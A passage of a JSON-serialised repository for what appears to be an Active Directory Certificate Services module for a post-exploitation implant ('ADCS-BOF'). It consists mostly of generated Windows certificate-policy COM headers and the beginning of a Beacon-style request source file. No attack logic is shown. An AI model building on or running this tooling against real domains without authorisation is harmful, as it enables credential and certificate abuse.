FR_PROP_ISSUEDCERTIFICATECRLCHAIN 13  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ENCRYPTEDKEYHASH\t  14  // Binary, Indexed\n\n#define FR_PROP_FULLRESPONSENOPKCS7\t  15  // Binary\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_CAEXCHANGECERTIFICATEHASH\t  16  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_CAEXCHANGECERTIFICATE\t  17  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_CAEXCHANGECERTIFICATECHAIN\t  18  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_CAEXCHANGECERTIFICATECRLCHAIN  19  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ATTESTATIONCHALLENGE\t\t  20  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ATTESTATIONPROVIDERNAME\t  21  // Binary, Indexed\n\n// FR_PROP_CLAIMCHALLENGE:\n#define FR_PROP_CLAIMCHALLENGE\t\t  22  // Long\n\nEXTERN_C const IID LIBID_CERTCLILib;\n\nEXTERN_C const CLSID CLSID_CCertGetConfig;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"c6cc49b0-ce17-11d0-8833-00a0c903b83c\")\nCCertGetConfig;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertConfig;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"372fce38-4324-11d0-8810-00a0c903b83c\")\nCCertConfig;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertRequest;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"98aff3f0-5524-11d0-8812-00a0c903b83c\")\nCCertRequest;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertServerPolicy;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"aa000926-ffbe-11cf-8800-00a0c903b83c\")\nCCertServerPolicy;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertServerExit;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"4c4a5e40-732c-11d0-8816-00a0c903b83c\")\nCCertServerExit;\n#endif\n#endif /* __CERTCLILib_LIBRARY_DEFINED__ */\n\n/* interface __MIDL_itf_certcli_0000_0007 */\n/* [local] */ \n\n#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */\n#pragma endregion\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0007_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0007_v0_0_s_ifspec;\n\n/* Additional Prototypes for ALL interfaces */\n\nunsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\nunsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree64(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request/CertPol.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0622 */\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n/* verify that the <rpcsal.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCSAL_H_VERSION__\n#define __REQUIRED_RPCSAL_H_VERSION__ 100\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n#ifndef COM_NO_WINDOWS_H\n#include \"windows.h\"\n#include \"ole2.h\"\n#endif /*COM_NO_WINDOWS_H*/\n\n#ifndef __certpol_h__\n#define __certpol_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n/* Forward Declarations */ \n\n#ifndef __ICertPolicy_FWD_DEFINED__\n#define __ICertPolicy_FWD_DEFINED__\ntypedef interface ICertPolicy ICertPolicy;\n\n#endif \t/* __ICertPolicy_FWD_DEFINED__ */\n\n\n#ifndef __ICertPolicy2_FWD_DEFINED__\n#define __ICertPolicy2_FWD_DEFINED__\ntypedef interface ICertPolicy2 ICertPolicy2;\n\n#endif \t/* __ICertPolicy2_FWD_DEFINED__ */\n\n\n#ifndef __INDESPolicy_FWD_DEFINED__\n#define __INDESPolicy_FWD_DEFINED__\ntypedef interface INDESPolicy INDESPolicy;\n\n#endif \t/* __INDESPolicy_FWD_DEFINED__ */\n\n\n/* header files for imported files */\n#include \"wtypes.h\"\n#include \"certmod.h\"\n#include \"certbase.h\"\n#include \"certbcli.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n/* interface __MIDL_itf_certpol_0000_0000 */\n/* [local] */ \n\n#include <winapifamily.h>\n#pragma region Desktop Family\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0000_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0000_v0_0_s_ifspec;\n\n#ifndef __ICertPolicy_INTERFACE_DEFINED__\n#define __ICertPolicy_INTERFACE_DEFINED__\n\n/* interface ICertPolicy */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPolicy;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"38bb5a00-7636-11d0-b413-00a0c91bbf8c\")\n    ICertPolicy : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in const BSTR strConfig) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE VerifyRequest( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Context,\n            /* [in] */ LONG bNewRequest,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetDescription( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDescription) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ShutDown( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPolicyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPolicy * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPolicy * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPolicy * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ __RPC__in const BSTR strConfig);\n        \n        HRESULT ( STDMETHODCALLTYPE *VerifyRequest )( \n            __RPC__in ICertPolicy * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Context,\n            /* [in] */ LONG bNewRequest,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDescription )( \n            __RPC__in ICertPolicy * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDescription);\n        \n        HRESULT ( STDMETHODCALLTYPE *ShutDown )( \n            __RPC__in ICertPolicy * This);\n        \n        END_INTERFACE\n    } ICertPolicyVtbl;\n\n    interface ICertPolicy\n    {\n        CONST_VTBL struct ICertPolicyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPolicy_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPolicy_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPolicy_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPolicy_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPolicy_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPolicy_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPolicy_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPolicy_Initialize(This,strConfig)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strConfig) ) \n\n#define ICertPolicy_VerifyRequest(This,strConfig,Context,bNewRequest,Flags,pDisposition)\t\\\n    ( (This)->lpVtbl -> VerifyRequest(This,strConfig,Context,bNewRequest,Flags,pDisposition) ) \n\n#define ICertPolicy_GetDescription(This,pstrDescription)\t\\\n    ( (This)->lpVtbl -> GetDescription(This,pstrDescription) ) \n\n#define ICertPolicy_ShutDown(This)\t\\\n    ( (This)->lpVtbl -> ShutDown(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPolicy_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPolicy2_INTERFACE_DEFINED__\n#define __ICertPolicy2_INTERFACE_DEFINED__\n\n/* interface ICertPolicy2 */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPolicy2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"3db4910e-8001-4bf1-aa1b-f43a808317a0\")\n    ICertPolicy2 : public ICertPolicy\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE GetManageModule( \n            /* [retval][out] */ __RPC__deref_out_opt ICertManageModule **ppManageModule) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPolicy2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPolicy2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPolicy2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPolicy2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPolicy2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig);\n        \n        HRESULT ( STDMETHODCALLTYPE *VerifyRequest )( \n            __RPC__in ICertPolicy2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Context,\n            /* [in] */ LONG bNewRequest,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDescription )( \n            __RPC__in ICertPolicy2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDescription);\n        \n        HRESULT ( STDMETHODCALLTYPE *ShutDown )( \n            __RPC__in ICertPolicy2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetManageModule )( \n            __RPC__in ICertPolicy2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICertManageModule **ppManageModule);\n        \n        END_INTERFACE\n    } ICertPolicy2Vtbl;\n\n    interface ICertPolicy2\n    {\n        CONST_VTBL struct ICertPolicy2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPolicy2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPolicy2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPolicy2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPolicy2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPolicy2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPolicy2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPolicy2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPolicy2_Initialize(This,strConfig)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strConfig) ) \n\n#define ICertPolicy2_VerifyRequest(This,strConfig,Context,bNewRequest,Flags,pDisposition)\t\\\n    ( (This)->lpVtbl -> VerifyRequest(This,strConfig,Context,bNewRequest,Flags,pDisposition) ) \n\n#define ICertPolicy2_GetDescription(This,pstrDescription)\t\\\n    ( (This)->lpVtbl -> GetDescription(This,pstrDescription) ) \n\n#define ICertPolicy2_ShutDown(This)\t\\\n    ( (This)->lpVtbl -> ShutDown(This) ) \n\n\n#define ICertPolicy2_GetManageModule(This,ppManageModule)\t\\\n    ( (This)->lpVtbl -> GetManageModule(This,ppManageModule) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPolicy2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certpol_0000_0002 */\n/* [local] */ \n\ntypedef \nenum X509SCEPMessageType\n    {\n        SCEPMessageUnknown\t= -1,\n        SCEPMessageCertResponse\t= 3,\n        SCEPMessagePKCSRequest\t= 19,\n        SCEPMessageGetCertInitial\t= 20,\n        SCEPMessageGetCert\t= 21,\n        SCEPMessageGetCRL\t= 22,\n        SCEPMessageClaimChallengeAnswer\t= 41\n    } \tX509SCEPMessageType;\n\ntypedef \nenum X509SCEPDisposition\n    {\n        SCEPDispositionUnknown\t= -1,\n        SCEPDispositionSuccess\t= 0,\n        SCEPDispositionFailure\t= 2,\n        SCEPDispositionPending\t= 3,\n        SCEPDispositionPendingChallenge\t= 11\n    } \tX509SCEPDisposition;\n\ntypedef \nenum X509SCEPFailInfo\n    {\n        SCEPFailUnknown\t= -1,\n        SCEPFailBadAlgorithm\t= 0,\n        SCEPFailBadMessageCheck\t= 1,\n        SCEPFailBadRequest\t= 2,\n        SCEPFailBadTime\t= 3,\n        SCEPFailBadCertId\t= 4\n    } \tX509SCEPFailInfo;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0002_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0002_v0_0_s_ifspec;\n\n#ifndef __INDESPolicy_INTERFACE_DEFINED__\n#define __INDESPolicy_INTERFACE_DEFINED__\n\n/* interface INDESPolicy */\n/* [local][helpstring][uuid][object] */ \n\n\nEXTERN_C const IID IID_INDESPolicy;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13CA515D-431D-46CC-8C2E-1DA269BBD625\")\n    INDESPolicy : public IUnknown\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Uninitialize( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GenerateChallenge( \n            /* [ref][in] */ PCWSTR pwszTemplate,\n            /* [ref][in] */ PCWSTR pwszParams,\n            /* [retval][out] */ PWSTR *ppwszResponse) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE VerifyRequest( \n            /* [ref][in] */ CERTTRANSBLOB *pctbRequest,\n            /* [ref][in] */ CERTTRANSBLOB *pctbSigningCertEncoded,\n            /* [ref][in] */ PCWSTR pwszTemplate,\n            /* [ref][in] */ PCWSTR pwszTransactionId,\n            /* [retval][out] */ BOOL *pfVerified) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Notify( \n            /* [ref][in] */ PCWSTR pwszChallenge,\n            /* [ref][in] */ PCWSTR pwszTransactionId,\n            /* [in] */ X509SCEPDisposition disposition,\n            /* [in] */ LONG lastHResult,\n            /* [ref][in] */ CERTTRANSBLOB *pctbIssuedCertEncoded) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct INDESPolicyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            INDESPolicy * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            INDESPolicy * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            INDESPolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            INDESPolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Uninitialize )( \n            INDESPolicy * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GenerateChallenge )( \n            INDESPolicy * This,\n            /* [ref][in] */ PCWSTR pwszTemplate,\n            /* [ref][in] */ PCWSTR pwszParams,\n            /* [retval][out] */ PWSTR *ppwszResponse);\n        \n        HRESULT ( STDMETHODCALLTYPE *VerifyRequest )( \n            INDESPolicy * This,\n            /* [ref][in] */ CERTTRANSBLOB *pctbRequest,\n            /* [ref][in] */ CERTTRANSBLOB *pctbSigningCertEncoded,\n            /* [ref][in] */ PCWSTR pwszTemplate,\n            /* [ref][in] */ PCWSTR pwszTransactionId,\n            /* [retval][out] */ BOOL *pfVerified);\n        \n        HRESULT ( STDMETHODCALLTYPE *Notify )( \n            INDESPolicy * This,\n            /* [ref][in] */ PCWSTR pwszChallenge,\n            /* [ref][in] */ PCWSTR pwszTransactionId,\n            /* [in] */ X509SCEPDisposition disposition,\n            /* [in] */ LONG lastHResult,\n            /* [ref][in] */ CERTTRANSBLOB *pctbIssuedCertEncoded);\n        \n        END_INTERFACE\n    } INDESPolicyVtbl;\n\n    interface INDESPolicy\n    {\n        CONST_VTBL struct INDESPolicyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define INDESPolicy_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define INDESPolicy_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define INDESPolicy_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define INDESPolicy_Initialize(This)\t\\\n    ( (This)->lpVtbl -> Initialize(This) ) \n\n#define INDESPolicy_Uninitialize(This)\t\\\n    ( (This)->lpVtbl -> Uninitialize(This) ) \n\n#define INDESPolicy_GenerateChallenge(This,pwszTemplate,pwszParams,ppwszResponse)\t\\\n    ( (This)->lpVtbl -> GenerateChallenge(This,pwszTemplate,pwszParams,ppwszResponse) ) \n\n#define INDESPolicy_VerifyRequest(This,pctbRequest,pctbSigningCertEncoded,pwszTemplate,pwszTransactionId,pfVerified)\t\\\n    ( (This)->lpVtbl -> VerifyRequest(This,pctbRequest,pctbSigningCertEncoded,pwszTemplate,pwszTransactionId,pfVerified) ) \n\n#define INDESPolicy_Notify(This,pwszChallenge,pwszTransactionId,disposition,lastHResult,pctbIssuedCertEncoded)\t\\\n    ( (This)->lpVtbl -> Notify(This,pwszChallenge,pwszTransactionId,disposition,lastHResult,pctbIssuedCertEncoded) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __INDESPolicy_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certpol_0000_0003 */\n/* [local] */ \n\n#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */\n#pragma endregion\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0003_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certpol_0000_0003_v0_0_s_ifspec;\n\n/* Additional Prototypes for ALL interfaces */\n\nunsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request/adcs_request.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <oleauto.h>\n#include <wchar.h>\n#include <stdlib.h>\n#include <combaseapi.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n#include \"adcs_request.h\"\n\ntypedef BSTR WINAPI (*SysAllocString_t)(const OLECHAR *);\ntypedef UINT WINAPI (*SysStringLen_t)(BSTR);\ntypedef void WINAPI (*SysFreeString_t)(BSTR);\n\n//#define OLEAUT32$SysAllocString ((SysAllocString_t)DynamicLoad(\"OLEAUT32$SysAllocString\"))\n//#define OLEAUT32$SysStringLen ((SysStringLen_t)DynamicLoad(\"OLEAUT32$SysStringLen\"))\n//#define OLEAUT32$SysFreeString ((SysFreeString_t)DynamicLoad(\"OLEAUT32$SysFreeString\"))\n\ntypedef HRESULT WINAPI (*CoInitializeEx_t)(LPVOID pvReserved, DWORD dwCoInit);\ntypedef HRESULT WINAPI (*CoUninitialize_t)(void);\n\n//#define OLE32$CoInitializeEx ((CoInitializeEx_t)DynamicLoad(\"OLE32$CoInitializeEx\"))\n//#define OLE32$CoUninitialize ((CoUninitialize_t)DynamicLoad(\"OLE32$CoUninitialize\"))\n\n\n#define IsNullOrEmptyW(str) \\\n(( NULL == str ) || ( 0 == MSVCRT$wcslen(str) ))\n#define CHECK_RETURN_NULL( function, return_value, result) \\\n\tif (NULL == return_value) \\\n\t{ \\\n\t\tresult = E_INVALIDARG; \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed\\n\", function); \\\n\t\tgoto fail; \\\n\t}\n#define BETTER_CHECK_RETURN_FAIL(x) { \\\n\tHRESULT hr = x; \\\n\tif(FAILED(hr)) \\\n\t{ \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed: 0x%08lx\\n\", #x, hr); \\\n\t\tgoto fail; \\\n\t} \\\n}\n\n#define CHECK_RETURN_FAIL( function, result ) \\\n\tif (FAILED(result)) \\\n\t{ \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed: 0x%08lx\\n\", function, result); \\\n\t\tgoto fail; \\\n\t}\n#define CHECK_RETURN_FALSE( function, result ) \\\n\tif (FALSE == (BOOL)result) \\\n\t{ \\\n\t\tresult = KERNEL32$GetLastError(); \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed: %lu\\n\", function, (DWORD)result); \\\n\t\tresult = 